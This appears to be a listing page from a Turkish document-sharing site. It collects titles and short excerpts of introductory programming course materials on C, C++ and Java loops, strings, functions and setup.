while(), do-while(), for() M.İLKUÇAR 2010 MAKU-MYO while(), do-while(), for() Döngü (loop) : Bir koşul sağlandığı (true olduğu) sürece bir veya birden çok komutun tekrarlanması işlemidir. Java Döngüler (loops) While() do-while() for ( ) while ( koşul )

Detaylı

Önemli noktalar. Paradigma Nesnelere Giriş Mesajlar / Ara bağlantılar Bilgi Gizleme (Information Hiding ) Sınıflar(Classes) Kalıtım/Inheritance

Önemli noktalar. Paradigma Nesnelere Giriş Mesajlar / Ara bağlantılar Bilgi Gizleme (Information Hiding ) Sınıflar(Classes) Kalıtım/Inheritance Önemli noktalar Paradigma Nesnelere Giriş Mesajlar / Ara bağlantılar Bilgi Gizleme (Information Hiding ) Sınıflar(Classes) Kalıtım/Inheritance public class Test { // çalışır İnsan insan = new Çiçekçi();

Detaylı

BİL 220 Sistem Programlamaya Giriş

BİL 220 Sistem Programlamaya Giriş Öğrenci Adı Soyadı: Öğrenci Numarası: S S S S4 S Toplam Hacettepe Üniversitesi Bilgisayar Mühendisliği Bölümü BİL 0 Sistem Programlamaya Giriş. Ara Sınav Tarih: Mayıs 0 Süre: 0 dak. Sınava başlamadan önce

Detaylı

STRİNG DİZİLER(KATARLAR)

STRİNG DİZİLER(KATARLAR) STRİNG DİZİLER(KATARLAR) Giriş Katar bir char tipinde bildirilen karakter dizisidir. Katarlar (strings), içeriği harfler, rakamlar, veya bazı semboller olan text bilgilerini tutmak(saklamak) için kullanılır.

Detaylı

MAT213 BİLGİSAYAR PROGRAMLAMA I DERSİ Ders 1: Programlamaya Giriş

MAT213 BİLGİSAYAR PROGRAMLAMA I DERSİ Ders 1: Programlamaya Giriş MAT213 BİLGİSAYAR PROGRAMLAMA I DERSİ Ders 1: Programlamaya Giriş Yard. Doç. Dr. Alper Kürşat Uysal Bilgisayar Mühendisliği Bölümü akuysal@anadolu.edu.tr Ders Web Sayfası: http://ceng.anadolu.edu.tr/ders.aspx?dersid=101

Detaylı

Adım Adım C-II. Eksik kalmış konular

Adım Adım C-II. Eksik kalmış konular Adım Adım C-II Eksik kalmış konular Bu dersin amacı Bu derste; değişkenler, sabitler ve operatörler ile fonksiyonlar konusunun detayları anlatılacaktır. Ders bitiminde; Daha etkin programlar yazma becerisinin

Detaylı

BÖLÜM 1b: C++ PROGRAMLAMANIN YAPISI. C++, hard diskte TC, BIN, INCLUDE, LIB gibi alt dizinlere yüklenir.

BÖLÜM 1b: C++ PROGRAMLAMANIN YAPISI. C++, hard diskte TC, BIN, INCLUDE, LIB gibi alt dizinlere yüklenir. BÖLÜM 1b: C++ PROGRAMLAMANIN YAPISI C++, hard diskte TC, BIN, INCLUDE, LIB gibi alt dizinlere yüklenir. TC programı çalıştırıldığında C++ çalışma ortamı açılır. C++ çalışma ortamında istenirse yeni bir

Detaylı

/* Çember alanını hesaplar */

/* Çember alanını hesaplar */ ÖNİŞLEME KOMUTLARI /* Çember alanını hesaplar */ #include #define PI 3.14 int yaricap; float alan; printf( "Çemberin yarı çapını giriniz> " ); scanf( "%d", &yaricap ); alan = PI * yaricap * yaricap;

Detaylı

Bölüm 10. Altprogramların gerçeklenmesi ISBN 0-0-321-49362-1

Bölüm 10. Altprogramların gerçeklenmesi ISBN 0-0-321-49362-1 Bölüm 10 Altprogramların gerçeklenmesi ISBN 0-0-321-49362-1 10. Bölüm konuları Çağırma / geri dönme semantiği Yığıt-dinamik yerel değişkeni olan altprogramların gerçeklenmesi İçiçe altprogramlar Statik

Detaylı

WebInstaller. 1. Kurulum Đçin Gereksinimler

WebInstaller. 1. Kurulum Đçin Gereksinimler WebInstaller Ürün Grubu [X] Fusion@6 [X] Fusion@6 Standard Kategori [X] Yeni Fonksiyon Versiyon Önkoşulu @6 Uygulama E-Netsis.Net uygulamasının kurulumu Netsis\ENetsis.Net\Kurulum dizininde bulunan NetsisWebInstall.exe

Detaylı

BLM-111 PROGRAMLAMA DİLLERİ I. Ders-12 Fonksiyonlar. Yrd. Doç. Dr. Ümit ATİLA

BLM-111 PROGRAMLAMA DİLLERİ I. Ders-12 Fonksiyonlar. Yrd. Doç. Dr. Ümit ATİLA BLM-111 PROGRAMLAMA DİLLERİ I Ders-12 Fonksiyonlar Yrd. Doç. Dr. Ümit ATİLA umitatila@karabuk.edu.tr http://web.karabuk.edu.tr/umitatilla/ Fonksiyonlar Fonksiyonlar C de modüller Programlar kullanıcı tanımlı

Detaylı

Genel Programlama II

Genel Programlama II Genel Programlama II 08.03.2011 1 Çok Boyutlu Diziler Önceki derslerimizde dizileri görmüştük. Kısaca özetleyecek olursak, belirlediğimiz sayıda değişkeni bir sıra içinde tutmamız, diziler sayesinde gerçekleşiyordu.

Detaylı

Program Nedir? Program, bir problemin çözümü için herhangi bir programlama dilinin kuralları ile oluşturulmuş komut kümesidir.

Program Nedir? Program, bir problemin çözümü için herhangi bir programlama dilinin kuralları ile oluşturulmuş komut kümesidir. PROGRAMLAMAYA GİRİŞ Program Nedir? Program, bir problemin çözümü için herhangi bir programlama dilinin kuralları ile oluşturulmuş komut kümesidir. C de yazılan bir programın çalışması için çoğunlukla aşağıdaki

Detaylı

2.Eclipse açıldıktan sonra Workspace alanı seçilmesi gerekir. Workspace alanı projelerinizin fiziksel olarak bulunduğu kısımdır.

2.Eclipse açıldıktan sonra Workspace alanı seçilmesi gerekir. Workspace alanı projelerinizin fiziksel olarak bulunduğu kısımdır. 1.Eclipse http://www.eclipse.org/downloads/download.php?file=/technology/epp/downloads/release/juno/s R2/eclipse-jee-juno-SR2-win32.zip&mirror_id=1163 linkinden indiriyoruz. 2.Eclipse açıldıktan sonra

Detaylı

BLM-111 PROGRAMLAMA DİLLERİ I. Ders-11 Karakter Diziler. Yrd. Doç. Dr. Ümit ATİLA

BLM-111 PROGRAMLAMA DİLLERİ I. Ders-11 Karakter Diziler. Yrd. Doç. Dr. Ümit ATİLA BLM-111 PROGRAMLAMA DİLLERİ I Ders-11 Karakter Diziler Yrd. Doç. Dr. Ümit ATİLA umitatila@karabuk.edu.tr http://web.karabuk.edu.tr/umitatilla/ Karakter ve String Karakter Karakter bir sabit tek tırnak

Detaylı